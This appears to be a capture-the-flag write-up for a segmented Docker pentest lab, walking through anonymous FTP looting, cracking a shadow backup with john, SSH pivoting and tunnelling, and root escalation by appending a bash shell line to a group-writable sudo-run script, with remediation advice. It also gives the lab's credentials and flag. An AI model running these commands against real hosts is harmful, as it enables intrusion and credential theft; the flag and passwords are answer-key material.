ThreeJumps Ltd

Challenge Security Report

Made-by: Abdalla yasser mansour

Network Pentest Lab

1. The Public Briefing

Challenge overview: A simulated company network exposes a chain of weaknesses across an edge host, an internal web application, and a database server.

Primary vulnerability: A root-executed maintenance script on db01 is writable by a lower-privileged group, allowing root command execution through its sudo wrapper.

Security impact: The chain can lead from limited network access to root access on the database host and disclosure of the challenge flag.

Learning objective: Practise service enumeration, backup analysis, credential-reuse discovery, network pivoting, and Linux privilege-escalation analysis.

2. Challenge Overview

- Application functionality: FTP file exchange on jump01, an internal web/release area on app01, and database services on db01.
- Scenario: A migration left operational artifacts and configuration files accessible across segmented company networks.
- Primary vulnerability: Privileged execution of a group-writable maintenance script on db01.
- Secondary weaknesses: Anonymous FTP information disclosure, exposed backups, credential reuse, and exposed application configuration.
- Difficulty: Hard / multi-stage network pentest.
- Estimated solve time: 60–120 minutes for learners familiar with Linux, SSH, Nmap, and basic hash cracking.

3. Architecture & Trust Boundaries

Intended attack path and network boundaries:

Kali attacker — Edge network (172.28.10.10)
↓ FTP enumeration / SSH
jump01 — Edge + Corporate (Edge IP 172.28.10.20)
↓ SSH pivot / forwarded HTTP
app01 — Corporate (172.28.20.20) → db01 — Data network → root flag

Trust boundaries: Edge is attacker-facing; Corporate contains the jump and application services; Data contains the database host. Docker DNS and network membership determine name resolution and reachability.

- Authentication: Anonymous FTP is enabled for discovery; SSH credentials are recovered from lab artifacts.
- Authorization: Network ACLs, account privileges, filesystem permissions, and sudo policy should limit access.

Verify subnet names, addresses, ports, and service configuration against the delivered Compose files before publishing.

4. Attacker Starting Point

- Initial access: Kali attacker container connected to the Edge network.
- Credentials: No SSH credentials are supplied initially; anonymous FTP is available.
- Role/privileges: Local attacker-container user, with no initial shell on jump01, app01, or db01.
- Known information: The target is a segmented Docker company network; direct internal access is restricted.
- Restrictions: Use discovered credentials only within this authorized lab.

5. Attack Surface

- jump01: FTP/TCP 21, passive FTP data connection, SSH/TCP 22, and interfaces in Edge and Corporate.
- FTP paths: /welcome.txt, /pub/, /pub/README.txt, /pub/archive/ops-backup.tar.gz.
- app01: Internal web service on TCP 8080, including /, /releases/README.txt, and /releases/app-config.env.bak.
- db01: SSH/TCP 22, PostgreSQL/TCP 5432, and the privileged maintenance workflow.
- Relevant controls: FTP access policy, network ACLs, SSH authentication, secret handling, file permissions, and sudo rules.

6. Vulnerability Description

Type: Linux local privilege escalation caused by a writable script executed through a sudo-authorized wrapper.

- Affected component: /usr/local/sbin/db-maintenance and /opt/dbops/rotate.sh on db01.
- Preconditions: The attacker has dbops access, can write rotate.sh through group permissions, and can run the wrapper with sudo.
- Failed control: Least privilege and integrity protection for root-executed code.
- Technical root cause: The privileged wrapper executes a script modifiable by a less-privileged account.

What happened and why: A root-owned wrapper is not safe if its target script is writable by dbops. Commands inserted into that script execute with the wrapper's elevated privileges.

7. Walkthrough

Commands and values below reflect the described lab build; verify them against the delivered image if outputs differ.

7.1 Enumerate anonymous FTP and inspect the backup

```
curl -v --user 'anonymous:anonymous' ftp://jump01/welcome.txt
curl --user 'anonymous:anonymous' --list-only ftp://jump01/
curl --user 'anonymous:anonymous' --list-only ftp://jump01/pub/
curl --user 'anonymous:anonymous' --list-only ftp://jump01/pub/archive/
curl --user 'anonymous:anonymous' -o /tmp/ops-backup.tar.gz ftp://jump01/pub/archive/ops-backup.tar.gz
tar -tzf /tmp/ops-backup.tar.gz
mkdir -p /tmp/ops-backup && tar -xzf /tmp/ops-backup.tar.gz -C /tmp/ops-backup
cat /tmp/ops-backup/handover.txt
cat /tmp/ops-backup/shadow.bak
```

The 6 prefix indicates SHA-512 crypt. Use the supplied candidate list to test the hash:

```
john --format=sha512crypt --wordlist=/tmp/ops-backup/password-candidates.txt /tmp/ops-backup/shadow.bak
john --show --format=sha512crypt /tmp/ops-backup/shadow.bak
```

The lab notes identify labuser as the current jump01 SSH account; the described build's recovered password is Harbor2026!.

7.2 Access jump01 and discover app01

```
ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null labuser@jump01
whoami && id
ip -br address
ip route
nmap -sT -sV -Pn -p 22,8080 --open -T4 172.28.20.0/24
```

The intended discovery is app01 at 172.28.20.20. From Kali, establish a local SSH tunnel:

```
ssh -N -L 18080:app01:8080 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null labuser@jump01
```

In a second Kali terminal, inspect the internal release resources:

```
curl -i http://127.0.0.1:18080/
curl -i http://127.0.0.1:18080/releases/README.txt
curl -i http://127.0.0.1:18080/releases/app-config.env.bak
```

The exposed backup provides appsvc connection details. The described lab value is appsvc / AppDeploy2026!.

7.3 Pivot to app01 and db01

```
ssh -J labuser@jump01 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null appsvc@app01
ip -br address && ip route
getent hosts db01
nc -zv db01 22
nc -zv db01 5432
find /opt/app -maxdepth 5 -type f -readable -print
cat /opt/app/previous-release/db-connection.env
```

The previous-release configuration and migration note identify db01 and a credential-reuse lead. Connect from app01 to db01:

```
ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null dbops@db01
```

The described lab value for dbops is Inv3ntory_Read_2026!.

7.4 Escalate privileges and capture the flag

```
whoami && id
sudo -l
ls -l /usr/local/sbin/db-maintenance /opt/dbops/rotate.sh
cat /usr/local/sbin/db-maintenance
cat /opt/dbops/rotate.sh
```

The intended finding is that dbops can write to rotate.sh and can run the wrapper as root. In the disposable lab, demonstrate the impact:

```
printf '\n/bin/bash -p -i\n' >> /opt/dbops/rotate.sh
sudo /usr/local/sbin/db-maintenance
whoami && id
cat /root/flag.txt
```

Expected flag: duck{Root_Access}. This modifies the lab state; reset the containers before another run.

8. Impact Assessment

- Confidentiality: Operational artifacts, password hashes, application configuration, and internal service details are exposed.
- Integrity: dbops can modify a script executed with root privileges.
- Availability: Root access could permit database-host disruption, although disruption is not required to complete the challenge.
- Privileges gained: Kali → jump01 user → app01 service account → db01 dbops → root on db01.
- Data/functionality gained: Access to /root/flag.txt and the final challenge flag.

9. Root Cause

The root cause is a writable script executed through a sudo-authorized root wrapper. Supporting weaknesses include anonymous access to operational artifacts, exposed backups and secrets, credential reuse, and insufficient separation between internal trust zones.

10. Remediation

- Disable anonymous FTP unless required; otherwise expose only a curated read-only directory.
- Remove backups and environment files from web-accessible release directories; rotate exposed credentials and store secrets securely.
- Do not reuse passwords across historical, SSH, and database accounts. Prefer unique credentials and SSH keys.
- Apply default-deny network ACLs and allow only required source/destination/port combinations between Edge, Corporate, and Data.
- Make root-executed scripts root-owned and not writable by non-root users or groups (for example, root:root with mode 0755 or stricter).
- Narrow sudo rules and ensure permitted programs cannot execute user-modifiable files or arbitrary commands.
- Add automated checks for dangerous file permissions, exposed secrets, and unintended network reachability.

12. Conclusion

The challenge shows how network segmentation gaps, exposed operational artifacts, credential reuse, and unsafe Linux permissions can combine into a full compromise. The final escalation relies on a script writable by a lower-privileged account but executed as root. Verify all service names, addresses, credentials, and paths against the shipped lab before distribution.